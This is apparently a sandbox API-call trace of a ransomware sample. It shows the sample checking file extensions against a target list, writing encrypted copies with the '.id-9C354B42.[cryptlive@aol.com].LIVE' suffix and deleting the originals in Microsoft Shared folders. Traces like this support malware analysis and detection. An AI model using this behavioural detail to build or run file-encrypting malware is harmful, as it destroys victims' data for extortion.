[0052.190] lstrlenW (lpString=".jpg") returned 4 [0052.190] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.190] lstrlenW (lpString=".doc") returned 4 [0052.190] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.190] lstrlenW (lpString=".docx") returned 5 [0052.190] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.190] lstrlenW (lpString=".pdf") returned 4 [0052.190] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.190] lstrlenW (lpString=".xls") returned 4 [0052.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.190] lstrlenW (lpString=".xlsx") returned 5 [0052.190] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.190] lstrlenW (lpString=".ppt") returned 4 [0052.190] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.190] lstrlenW (lpString=".zip") returned 4 [0052.190] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.190] lstrlenW (lpString=".rar") returned 4 [0052.190] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.190] lstrlenW (lpString=".bz2") returned 4 [0052.190] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.190] lstrlenW (lpString=".7z") returned 3 [0052.192] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.192] lstrlenW (lpString=".dbf") returned 4 [0052.192] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.192] lstrlenW (lpString=".1cd") returned 4 [0052.192] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.192] lstrlenW (lpString=".jpg") returned 4 [0052.192] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.192] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0052.192] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.192] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=42453) returned 1 [0052.192] CloseHandle (hObject=0x200) returned 1 [0052.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0052.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.193] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.193] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.193] GetLastError () returned 0x0 [0052.193] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0052.260] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0052.261] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.261] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.261] SetEndOfFile (hFile=0x20c) returned 1 [0052.261] CloseHandle (hObject=0x20c) returned 1 [0052.262] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.262] SetEndOfFile (hFile=0x200) returned 1 [0052.317] CloseHandle (hObject=0x200) returned 1 [0052.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.317] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.318] lstrlenW (lpString=".doc") returned 4 [0052.318] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.318] lstrlenW (lpString=".docx") returned 5 [0052.318] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.318] lstrlenW (lpString=".pdf") returned 4 [0052.318] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.318] lstrlenW (lpString=".xls") returned 4 [0052.318] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.318] lstrlenW (lpString=".xlsx") returned 5 [0052.318] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.318] lstrlenW (lpString=".ppt") returned 4 [0052.318] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.318] lstrlenW (lpString=".zip") returned 4 [0052.318] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.318] lstrlenW (lpString=".rar") returned 4 [0052.318] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.318] lstrlenW (lpString=".bz2") returned 4 [0052.318] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.318] lstrlenW (lpString=".7z") returned 3 [0052.318] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.318] lstrlenW (lpString=".dbf") returned 4 [0052.318] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.318] lstrlenW (lpString=".1cd") returned 4 [0052.318] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.318] lstrlenW (lpString=".jpg") returned 4 [0052.318] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.319] lstrlenW (lpString=".doc") returned 4 [0052.319] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.319] lstrlenW (lpString=".docx") returned 5 [0052.319] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.319] lstrlenW (lpString=".pdf") returned 4 [0052.319] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.319] lstrlenW (lpString=".xls") returned 4 [0052.319] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.319] lstrlenW (lpString=".xlsx") returned 5 [0052.319] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.319] lstrlenW (lpString=".ppt") returned 4 [0052.319] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.319] lstrlenW (lpString=".zip") returned 4 [0052.319] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.319] lstrlenW (lpString=".rar") returned 4 [0052.319] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.319] lstrlenW (lpString=".bz2") returned 4 [0052.319] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.319] lstrlenW (lpString=".7z") returned 3 [0052.319] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.319] lstrlenW (lpString=".dbf") returned 4 [0052.319] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.319] lstrlenW (lpString=".1cd") returned 4 [0052.319] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0052.319] lstrlenW (lpString=".jpg") returned 4 [0052.319] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.320] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0052.320] lstrlenW (lpString="VBCN6.CHM") returned 9 [0052.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.320] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=109718) returned 1 [0052.320] CloseHandle (hObject=0x200) returned 1 [0052.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0052.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.320] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.320] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.321] GetLastError () returned 0x0 [0052.321] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0052.325] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0052.327] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.327] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.327] SetEndOfFile (hFile=0x20c) returned 1 [0052.327] CloseHandle (hObject=0x20c) returned 1 [0052.328] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.328] SetEndOfFile (hFile=0x200) returned 1 [0052.329] CloseHandle (hObject=0x200) returned 1 [0052.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.329] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0052.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.330] lstrlenW (lpString=".doc") returned 4 [0052.330] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString=".docx") returned 5 [0052.330] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.330] lstrlenW (lpString=".pdf") returned 4 [0052.330] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString=".xls") returned 4 [0052.330] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString=".xlsx") returned 5 [0052.330] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.330] lstrlenW (lpString=".ppt") returned 4 [0052.330] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.330] lstrlenW (lpString=".zip") returned 4 [0052.330] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString=".rar") returned 4 [0052.330] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString=".bz2") returned 4 [0052.330] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.330] lstrlenW (lpString=".7z") returned 3 [0052.330] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.330] lstrlenW (lpString=".dbf") returned 4 [0052.330] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.330] lstrlenW (lpString=".1cd") returned 4 [0052.330] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.330] lstrlenW (lpString=".jpg") returned 4 [0052.330] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.330] lstrlenW (lpString=".doc") returned 4 [0052.330] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.331] lstrlenW (lpString=".docx") returned 5 [0052.331] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.331] lstrlenW (lpString=".pdf") returned 4 [0052.331] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.331] lstrlenW (lpString=".xls") returned 4 [0052.331] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.331] lstrlenW (lpString=".xlsx") returned 5 [0052.331] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.331] lstrlenW (lpString=".ppt") returned 4 [0052.331] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.331] lstrlenW (lpString=".zip") returned 4 [0052.331] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.331] lstrlenW (lpString=".rar") returned 4 [0052.331] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.331] lstrlenW (lpString=".bz2") returned 4 [0052.331] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.331] lstrlenW (lpString=".7z") returned 3 [0052.331] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.331] lstrlenW (lpString=".dbf") returned 4 [0052.331] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.331] lstrlenW (lpString=".1cd") returned 4 [0052.331] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0052.331] lstrlenW (lpString=".jpg") returned 4 [0052.331] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.331] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0052.331] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0052.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.333] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=72031) returned 1 [0052.333] CloseHandle (hObject=0x200) returned 1 [0052.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0052.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.333] GetLastError () returned 0x0 [0052.333] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0052.573] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0052.575] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.575] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.575] SetEndOfFile (hFile=0x20c) returned 1 [0052.575] CloseHandle (hObject=0x20c) returned 1 [0052.576] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.576] SetEndOfFile (hFile=0x200) returned 1 [0052.577] CloseHandle (hObject=0x200) returned 1 [0052.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0052.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.577] lstrlenW (lpString=".doc") returned 4 [0052.577] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.577] lstrlenW (lpString=".docx") returned 5 [0052.577] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0052.577] lstrlenW (lpString=".pdf") returned 4 [0052.577] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.577] lstrlenW (lpString=".xls") returned 4 [0052.577] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.577] lstrlenW (lpString=".xlsx") returned 5 [0052.577] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0052.577] lstrlenW (lpString=".ppt") returned 4 [0052.578] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.578] lstrlenW (lpString=".zip") returned 4 [0052.578] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString=".rar") returned 4 [0052.578] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString=".bz2") returned 4 [0052.578] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.578] lstrlenW (lpString=".7z") returned 3 [0052.578] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.578] lstrlenW (lpString=".dbf") returned 4 [0052.578] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0052.578] lstrlenW (lpString=".1cd") returned 4 [0052.578] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.578] lstrlenW (lpString="C:\\Program Files\\Common 